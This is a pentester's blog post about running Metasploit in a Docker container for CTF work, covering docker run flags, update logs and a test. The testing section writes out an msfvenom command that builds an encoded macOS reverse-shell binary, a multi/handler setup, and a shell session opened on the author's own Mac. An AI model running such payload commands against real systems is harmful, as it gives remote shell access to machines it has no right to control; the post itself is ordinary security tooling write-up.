Metasploit Docker Container – Containerize All the Things!

During a CTF I competed in recently, I found the need to create a Metasploit Docker container.

The main benefit of this was not having to deal with NAT issues to my virtual machine, but I will touch on this more later.

Installation

First of all, I installed Docker on my Mac.

Metasploit Docker Container - Installation

Once I completed the installation and configuration (including any proxy settings), my container was up and running.

Metasploit Docker Container - Running

MACINTOP:Documents doyler$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
MACINTOP:Documents doyler$ 

Metasploit Docker Container Image

With Docker installed and running, it was time to find an image to use.

I settled on the remnux image, since it seemed to have everything that I would need.

Next, I ran the provided command to set up a local container. The descriptions for the flags are as follows:

  • --rm = remove the container if it already exists
  • -it = Keep STDIN open even if not attached and attach a pseudo-tty (open an interactive shell into the container)
  • -p 443:443 = publish the container's port 443 to my host system. This will allow catching reverse shells with my host IP in my container
  • -v ~/.msf4:/root/.msf4 = this mounts ~/.msf4 on my host system as /root/.msf4 on the container (allowing for sharing or uploading of files)
  • -v /tmp/msf:/tmp/data = see above
MACINTOP:Documents doyler$ sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
Password: 
Unable to find image 'remnux/metasploit:latest' locally
latest: Pulling from remnux/metasploit
04cf3f0e25b6: Pull complete 
d5b45e963ba0: Pull complete 
a5c78fda4e14: Pull complete 
193d4969ca79: Pull complete 
d709551f9630: Pull complete 
1f25a1bb3176: Pull complete 
32cbc8e77c38: Pull complete 
9707c72ed4d0: Pull complete 
592bbe533650: Pull complete 
8d25bbc5564d: Pull complete 
bee7a92a8ebe: Pull complete 
58ba86fae4eb: Pull complete 
91d9c75fcf28: Pull complete 
220d3151e9ca: Pull complete 
5bdfaa013ef3: Pull complete 
7a09535bcd76: Pull complete 
e45f0be4a46e: Pull complete 
06bd944ec068: Pull complete 
ffd22526b3f0: Pull complete 
b02c2a07c2a4: Pull complete 
Digest: sha256:29e449ddc3ff026bba2030d65331530834b6ba7718d625c76e416c7457c5be7c
Status: Downloaded newer image for remnux/metasploit:latest
ruby-2.3.3 is not installed.
To install do: 'rvm install ruby-2.3.3'
 * Starting PostgreSQL 9.3 database server                                                                                                                                                         [ OK ] 
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[*] Checking for updates via git
[*] Note: Updating from bleeding edge
fatal: 'upstream' does not appear to be a git repository
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
[*] Attempting to add remote 'upstream' to your local git repository.
[*] Added remote 'upstream' to your local git repository.
HEAD is now at f0dca7ab Land #7692, print_error for error_sql_injection
Already on 'master'
Your branch is up-to-date with 'origin/master'.
id
fatal: unable to connect to github.com:
github.com[0: 192.30.253.112]: errno=Connection refused
github.com[1: 192.30.253.113]: errno=Connection refused

merge: upstream/master - not something we can merge
[*] Updating gems...
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as root will break this application for all non-root users on this machine.
Resolving dependencies...
Using rake 12.0.0
< ... snip ... >
Using metasploit-framework 4.13.7 from source at `.`
Bundle complete! 14 Gemfile dependencies, 119 gems now installed.
Use `bundle show [gemname]` to see where a bundled gem is installed.
root@4f0e3051f5d7:/tmp/data#

Updates and Configuration

Once the container was setup, I needed to update a few things and configurations.

The first thing I did was update Ruby, to prevent any other weird errors or warnings from occurring.

root@4f0e3051f5d7:/tmp/data# rvm install ruby-2.3.3
Warning, new version of rvm available '1.28.0', you are using older version '1.27.0'.
You can disable this warning with:    echo rvm_autoupdate_flag=0 >> ~/.rvmrc
< ... snip ... >
Install of ruby-2.3.3 - #complete 
Ruby was built without documentation, to build it run: rvm docs generate-ri

After I updated Ruby, I had to modify my git config. There was an issue with my proxy server, but updating the git URLs from git:// to https:// fixed this.

With that in place, I was able to properly run msfupdate.

root@4f0e3051f5d7:/tmp/data# git config --global url."https://".insteadOf git://
root@4f0e3051f5d7:/tmp/data# msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]

[*] Checking for updates via git
[*] Note: Updating from bleeding edge
HEAD is now at f0dca7ab Land #7692, print_error for error_sql_injection
Already on 'master'
Your branch is up-to-date with 'origin/master'.
remote: Counting objects: 3767, done.
< ... snip ... >
Using metasploit-framework 4.13.10 from source at `.`
Bundle complete! 14 Gemfile dependencies, 119 gems now installed.
Use `bundle show [gemname]` to see where a bundled gem is installed.
root@4f0e3051f5d7:/tmp/data# 

Testing

After everything was setup and updated, it was time to test msfconsole and the port forwarding.

First, I generated an OSX reverse shell that I could execute on my host system. Then, I setup a handler on port 443 (notice the IP error because that isn't the IP of the container) to hopefully catch the shell.

Finally, with those in place, I transferred the payload to the shared directory, and executed it on my host system. Everything worked perfectly, and I had a reverse shell to my host OS!

root@4f0e3051f5d7:/tmp/data# msfconsole
                                                 
       =[ metasploit v4.13.10-dev-7585999                 ]
+ -- --=[ 1610 exploits - 914 auxiliary - 279 post        ]
+ -- --=[ 471 payloads - 39 encoders - 9 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > msfvenom -a x86 --platform OSX -p osx/x86/shell_reverse_tcp LHOST=10.119.21.167 LPORT=443 -e x86/shikata_ga_nai -b "\x00" -f macho -o /tmp/data/osx_reverse_tcp
[*] exec: msfvenom -a x86 --platform OSX -p osx/x86/shell_reverse_tcp LHOST=10.119.21.167 LPORT=443 -e x86/shikata_ga_nai -b "\x00" -f macho -o /tmp/data/osx_reverse_tcp

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 92 (iteration=0)
x86/shikata_ga_nai chosen with final size 92
Payload size: 92 bytes
Final size of macho file: 20800 bytes
Saved as: /tmp/data/osx_reverse_tcp
msf > use exploit/multi/handler 
msf exploit(handler) > set PAYLOAD osx/x86/shell_reverse_tcp 
PAYLOAD => osx/x86/shell_reverse_tcp
msf exploit(handler) > set LHOST 10.119.21.167
LHOST => 10.119.21.167
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (osx/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.119.21.167    yes       The listen address
   LPORT  443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[-] Handler failed to bind to 10.119.21.167:443:-  -
[*] Started reverse TCP handler on 0.0.0.0:443 
[*] Starting the payload handler...
[*] Command shell session 1 opened (172.17.0.2:443 -> 172.17.0.1:37618) at 2017-01-04 19:09:22 +0000

id
uid=1587206(doyler) gid=20(staff) groups=20(staff),12(everyone),33(_appstore),80(admin),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
hostname
MACINTOP

As a result, this was a fairly easy process, and I definitely recommend setting up a Metasploit Docker container of your own. If you don't need one locally, it could be quite useful on a cloud box for external engagements.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration tester for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.